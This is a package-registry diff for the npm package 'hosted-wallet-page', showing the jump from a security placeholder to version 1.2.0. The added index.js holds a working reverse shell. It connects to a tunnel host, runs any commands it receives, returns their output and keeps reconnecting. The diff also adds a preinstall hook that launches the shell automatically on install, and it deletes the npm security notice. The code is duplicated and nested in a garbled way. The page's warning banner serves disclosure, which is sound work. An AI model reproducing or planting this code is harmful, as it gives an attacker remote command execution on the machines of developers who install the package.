hosted-wallet-page 0.0.1-security → 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of hosted-wallet-page might be problematic. Click here for more details.
- package/index.js +88 -0
- package/package.json +10 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,88 @@
|
|
1
|
+
const net = require("net");
|
2
|
+
const { exec } = require("child_process");
|
3
|
+
|
4
|
+
// Replace with your tunnel details
|
5
|
+
const remoteHost = "second-ratio.gl.at.ply.gg";
|
6
|
+
const remotePort = 43197;
|
7
|
+
|
8
|
+
// Function to establish a connection to the remote listener
|
9
|
+
function connectToRemoteShell() {
|
10
|
+
const client = new net.Socket();
|
11
|
+
|
12
|
+
client.connect(remotePort, remoteHost, () => {
|
13
|
+
console.log("Connected to reverse shell listener");
|
14
|
+
client.write("[+] Reverse shell established\n");
|
15
|
+
});
|
16
|
+
|
17
|
+
client.on("data", (data) => {
|
18
|
+
// Execute received commands
|
19
|
+
const net = require("net");
|
20
|
+
const { exec } = require("child_process");
|
21
|
+
|
22
|
+
// Replace with your tunnel details
|
23
|
+
const remoteHost = "second-ratio.gl.at.ply.gg";
|
24
|
+
const remotePort = 43197;
|
25
|
+
|
26
|
+
// Function to establish a connection to the remote listener
|
27
|
+
function connectToRemoteShell() {
|
28
|
+
const client = new net.Socket();
|
29
|
+
|
30
|
+
client.connect(remotePort, remoteHost, () => {
|
31
|
+
console.log("Connected to reverse shell listener");
|
32
|
+
client.write("[+] Reverse shell established\n");
|
33
|
+
});
|
34
|
+
|
35
|
+
client.on("data", (data) => {
|
36
|
+
// Execute received commands
|
37
|
+
exec(data.toString().trim(), (error, stdout, stderr) => {
|
38
|
+
if (error) {
|
39
|
+
client.write(`Error: ${error.message}\n`);
|
40
|
+
}
|
41
|
+
if (stderr) {
|
42
|
+
client.write(`Stderr: ${stderr}\n`);
|
43
|
+
}
|
44
|
+
if (stdout) {
|
45
|
+
client.write(stdout);
|
46
|
+
}
|
47
|
+
});
|
48
|
+
});
|
49
|
+
|
50
|
+
client.on("close", () => {
|
51
|
+
console.log("Connection closed. Reconnecting...");
|
52
|
+
setTimeout(connectToRemoteShell, 5000); // Reconnect after 5 seconds
|
53
|
+
});
|
54
|
+
|
55
|
+
client.on("error", (err) => {
|
56
|
+
console.error("Error:", err.message);
|
57
|
+
setTimeout(connectToRemoteShell, 5000); // Reconnect after error
|
58
|
+
});
|
59
|
+
}
|
60
|
+
|
61
|
+
// Start the reverse shell
|
62
|
+
connectToRemoteShell();
|
63
|
+
exec(data.toString().trim(), (error, stdout, stderr) => {
|
64
|
+
if (error) {
|
65
|
+
client.write(`Error: ${error.message}\n`);
|
66
|
+
}
|
67
|
+
if (stderr) {
|
68
|
+
client.write(`Stderr: ${stderr}\n`);
|
69
|
+
}
|
70
|
+
if (stdout) {
|
71
|
+
client.write(stdout);
|
72
|
+
}
|
73
|
+
});
|
74
|
+
});
|
75
|
+
|
76
|
+
client.on("close", () => {
|
77
|
+
console.log("Connection closed. Reconnecting...");
|
78
|
+
setTimeout(connectToRemoteShell, 5000); // Reconnect after 5 seconds
|
79
|
+
});
|
80
|
+
|
81
|
+
client.on("error", (err) => {
|
82
|
+
console.error("Error:", err.message);
|
83
|
+
setTimeout(connectToRemoteShell, 5000); // Reconnect after error
|
84
|
+
});
|
85
|
+
}
|
86
|
+
|
87
|
+
// Start the reverse shell
|
88
|
+
connectToRemoteShell();
|
package/package.json
CHANGED
@@ -1,6 +1,13 @@
|
|
1
1
|
{
|
2
2
|
"name": "hosted-wallet-page",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.2.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall":"node index.js"
|
9
|
+
},
|
10
|
+
"keywords": [],
|
11
|
+
"author": "",
|
12
|
+
"license": "ISC"
|
6
13
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=hosted-wallet-page for more information.
|